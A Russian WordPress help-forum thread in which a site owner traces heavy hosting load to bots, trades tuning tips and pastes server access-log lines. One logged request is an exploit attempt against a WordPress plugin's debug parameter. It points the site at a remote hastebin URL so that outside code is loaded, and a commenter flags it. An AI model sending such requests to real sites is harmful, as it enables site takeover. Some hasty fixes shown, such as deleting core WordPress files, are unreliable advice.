WordPress как на ладони
Недорогой хостинг для сайтов на WordPress: wordpress.jino.ru

Сайты на WordPress сильно грузят хостинг

Пару лет назад поставил два своих сайта на WordPress. Начал с сайта про рыбалку. Поставил, начал добавлять материалы. Потом сделал для одной знакомой школьный сайт на WordPress. Через какое-то время хостер начал меня заваливать сообщениями о чрезмерной нагрузке. На сайты с WordPress даже подумать не мог - посещаемость никакая, максимум 50 чел. в сутки. Начал отключать свои самописные сайты, потом школьный сайт удалил. Вроде бы все успокоилось. Год назад сверстал варезный сайт - qiqa.ru - который тоже поставил на WP. И снова началось. В общем методом отключения всех сайтов, понял, что проблема в сайтах на WP.

На данный момент у меня остался единственный сайт на WP - qiqa.ru -который я перенес на бесплатный тариф хостинга - beget.com. Из-за сильной нагрузки хостер beget налаживает ограничения, включает агрессивное кеширование и т.п, поэтому если вы зайдете на сайт сейчас, возможно не будет картинок, дизайн поплывет и т.п.

Плагинов на сайте практически нет, вот скриншот ниже. Скриншот делаю с дубликата на Open Server. Сейчас на свой сайт, из-за ограничений, даже в админку не могу зайти.

Не хочется расставаться с WordPress, на этом движке очень удобно создавать сайты, но что делать с нагрузкой, ума не приложу. Смотрел и логи, блокировал через htaccess разные IP-адреса, отключал планировщик в WP и еще много всего. Последний раз даже собственный скрипт написал, но видно до конца не понимаю работу ботов, поэтому ничего не помогло.

Сравните нагрузку на скриншотах.

Один единственный сайт на beget.com - 13cp и больше!

А теперь посмотрите на нагрузку 8 самописных сайтов, с общей посещаемостью около 1000 чел в сутки. Хостинг на Timeweb.ru. Самая большая нагрузка - 2cp!

Не знаю, чего там разработчики WP поставили в свой движок, но стоит поставить на него сайт, как сразу же чрезмерная нагрузка.

Подскажите пожалуйста, куда копать, буду чрезмерно благодарен.

Спасибо.

0
grendel
11 марта 2020 12
  • 1
    kolshix615 paxtoy.com

    такая же срань, посещалка 15-30 постоянных человек по мнению плагина или 2000 в сутки по мнению яндекс метрики.

    Жестко долбит яндекс БОТ 30 подключений и сайт охреневает, ставишь 4 сайта , яндекс бот вообще уничтожает процессор.

    посмотрел трафик , яндекс за год дал 4% процента - пока что сижу на слабом проце (раньше был хороший проц и справлялся на ура, вообще ничего не чувствовал).

    1 Первым делом пришлось переехать на PHP 7+ и WP 5+ скорость заметно увеличилась.
    2 Поменял тему на twenty ten и натянул свой css
    3 установил кэширование WP Performance - только кеш и lazy load - другие плагины с бубенцами были и всякую срань показывали.
    4 полностью обрубил яндекс бот

    сталкивался с аналогичной проблемой на другом хостинге - проц был на 3 ядра и не справлялся никак с 50-посетителями в сутки , я даже не мог править посты. Поменял хостера на дешевле и все заработало .

    5 посмотрите ошибки - я открыл мониторинг и увидел 50+ ошибок на странице , исправил и сервак ещё облегчил работу.

    6 и ещё вот эта срань "wp-useronline" обалденно нагружает сайт

    вот ещё злющая статья КЛАЦ

    grendel 15 Мар. 2020

    Не удержался, сделал для подруги сайт-рецептов, благо давно просила, да и темку халявную нашел - homkit.ru. Только первый день залил на хостинг и домен прикрепил. Вечером смотрю - нагрузка уже почти 3cp! Никого еще на сайте не было.

    Что будет, если 10 или 50 человек зайдут... На софтовом сайте сегодня пробовал отключал обновления, плагины, хуки разные - бесполезно, всё равно грузит хостинг, всего 20 чел. было. Логи просмотрел, отключил чат, но особо в текстовом редакторе не увидишь, да и не в теме я по этому пункту.

    Мне вот интересно, этот сайт ведь тоже вроде на вордпрессе, тут же нормальная посещаемость, значит можно как-то этот вордпресс адаптировать. Неужели кроме админа никто не в теме?

    kolshix 15 Мар. 2020

    проверь ботов хотя бы через wp-useronline

    я через базу данных посмотрел user agent и там наковырялось много, подзаблочил тоже. Хотя тоже мало пользы.

    и еще не люблю рекламировать хостинги , зайди попробуй на ihor-hosting.ru, закажи там самый дешёвый тариф (50-60р) и проверь нагрузку , я лупашил там на самом дорогом на 150р
    в сутки 10 000 уникумов + боты + мои корявые руки и хостинг держал .

    Недавно у них там проблемы были и сильные по деньгам проекты я бы не стал доверять

    grendel 16 Мар. 2020

    Сегодня хостер снял блокировку сайта qiqa.ru и я весь день мониторю сайт: смотрю логи, отключаю, удаляю разные файлы, читая разные мануалы в интернете. Удалил файлы wp-cron.php, admin-ajax.php, заблокировал через htaccess многих ботов, в том числи и Яндекс-бот. Нагрузка растет, медленно, но верно, к 16-00 дошла до 6cp. Ничего не помогает.

    В логах нашел интересные строчки, вот например:

    qiqa.ru 103.131.71.133 - - [16/Mar/2020:09:19:38 +0300] "GET /2019/03/01/%D1%81%D0%B2%D0%B8%D1%82%D0%B5%D1%80-%D1%83%D0%B1%D0%B8%D0%B9%D1%86%D0%B0-%D0%B4%D0%B5%D0%B2%D1%81%D1%82%D0%B2%D0%B5%D0%BD%D0%BD%D0%BE%D1%81%D1%82%D0%B8/ HTTP/1.0" 200 16203 "-" "Mozilla/5.0 (compatible; coccocbot-web/1.0; +http://help.coccoc.com/searchengine)" 437198 323333:46666
    qiqa.ru 74.208.40.32 - - [16/Mar/2020:09:21:09 +0300] "GET / HTTP/1.0" 200 17627 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 463357 359999:26666
    qiqa.ru 74.208.40.32 - - [16/Mar/2020:09:21:10 +0300] "GET /wp-admin/admin-post.php?swp_debug=load_options&swp_url=https://hastebin.com/raw/etonipusij HTTP/1.0" 200 - "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 375266 349999:19999

    Что это такое не пойму, парсинг? Не похоже вроде. В общем весь этот вордпресс надоел порядком. Что там разработчики понаписали непонятно, но грузит WP хостинги просто ужасно.

    Наверное проще потратить две недели, месяц на создание самописного сайта и потом не мучиться ежедневными поисками того, не знаешь чего. Разочаровал меня Вордпресс.

    kolshix 16 Мар. 2020

    кстати забыл спросить AI-Bolit прогоняли ??
    и ещё случайно нашел статью

    https://oddstyle.ru/wordpress-2/stati-wordpress/kak-ochistit-tablicu-wp_options-i-avtozagruzhennye-dannye-v-wordpress.html

    (wp_options) короче постоянно из БД идут запросы на всех страницах за хламом , на ненужных попереключал на "no" + удалил старые по типу плагина "P3 (Plugin Performance Profiler)" который жрал больше половины запроса

    grendel 16 Мар. 2020

    С таблицей wp-options вроде все в порядке. Плагинов у меня всего три.

    Айболитом прогнать не могу, тариф бесплатный.

    grendel 17 Мар. 2020

    В общем "бомбят" мой сайт разные боты. Просматривая логи понял, что некоторые пытаются сделать SQL инъекцию, некоторые просто долбятся в wp-cron.php, admin-ajax.php которые я удалил. Блокировал весь день IP-адреса, пересматривал все файлы сайта. В результате набрел на сайт, который предоставляет бесплатный скрипт-антибот. Как раз то, что я искал. Пытался я сам такую штуку написать, но видно знаний не хватает, не сработал он. В общем сейчас поставил, время 23-00, посмотрим что получится.

    Да, забыл сказать, в результате моих танцов с бубном, нагрузка остановилась на отметке 8.87cp. Посмотрим что будет дальше.

    Ссылка на скрипт Антибот - https://antibot.cloud

    grendel 17 Мар. 2020

    Нагрузка так и растет... дошла до 9.16 . Нужно отключать на ночь сайт, иначе снова хостер на сутки заблокирует.

    kolshix 17 Мар. 2020

    ай я яй

    grendel 17 Мар. 2020

    Вроде все нормализовалось. Антибот работает. Ботов пока, кроме гугловского, заблокировал, завтра посмотрю что да как, Яндекс разблокирую. Добавил файлы, которые вчера удалял, кроме wp-cron.php, планировщик мне точно не нужен. Подключил чат, не плагин, самописный скрипт. Посмотрю нагрузку, говорят что чат обычно создает нагрузку на хостинг.
    Спасибо, kolshix, за поддержку.

    kolshix 18 Мар. 2020

    Я тебе че говорил, зайди на ihor 10 сайтов за 60 р … все в комплекте , нашу рукожопость никто не отменял. Люди с минимальным администрированием ... не почувствуют нагрузку. Там ещё и php кэширование подключено

    grendel 19 Мар. 2020

    Рано радовался. Сегодня занимался другими делами, а к вечеру зашел проверить, снова перегруз. Причем этот антибот самого не пускает на сайт. Чем то не понравился мой сайт ботам )).

    grendel 24 Мар. 2020

    Недавно снова в логи заглянул. Оказывается тот скриншот выше, где красным обведены запросы к файлу wp_cron.php, сам WordPress и шлет. Перешел в браузере по адресу 185.50.25.36 - и попал на хостинг beget. Cron я везде отключил, но видно вордпресс думает иначе. Полностью планировщик не отключишь.

    Комментировать
  • 1

    а тут вы ничего странного не замечаете?

    qiqa.ru 74.208.40.32 - - [16/Mar/2020:09:21:10 +0300] "GET /wp-admin/admin-post.php?swp_debug=load_options&swp_url=https://hastebin.com/raw/etonipusij HTTP/1.0" 200 - "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 375266 349999:19999

    https://defcon.ru/web-security/5088/

    Kama 27 Мар. 2020

    Вот такие вот овноплагины пишут sad

    Комментировать
На вопросы могут отвечать только зарегистрированные пользователи. Вход . Регистрация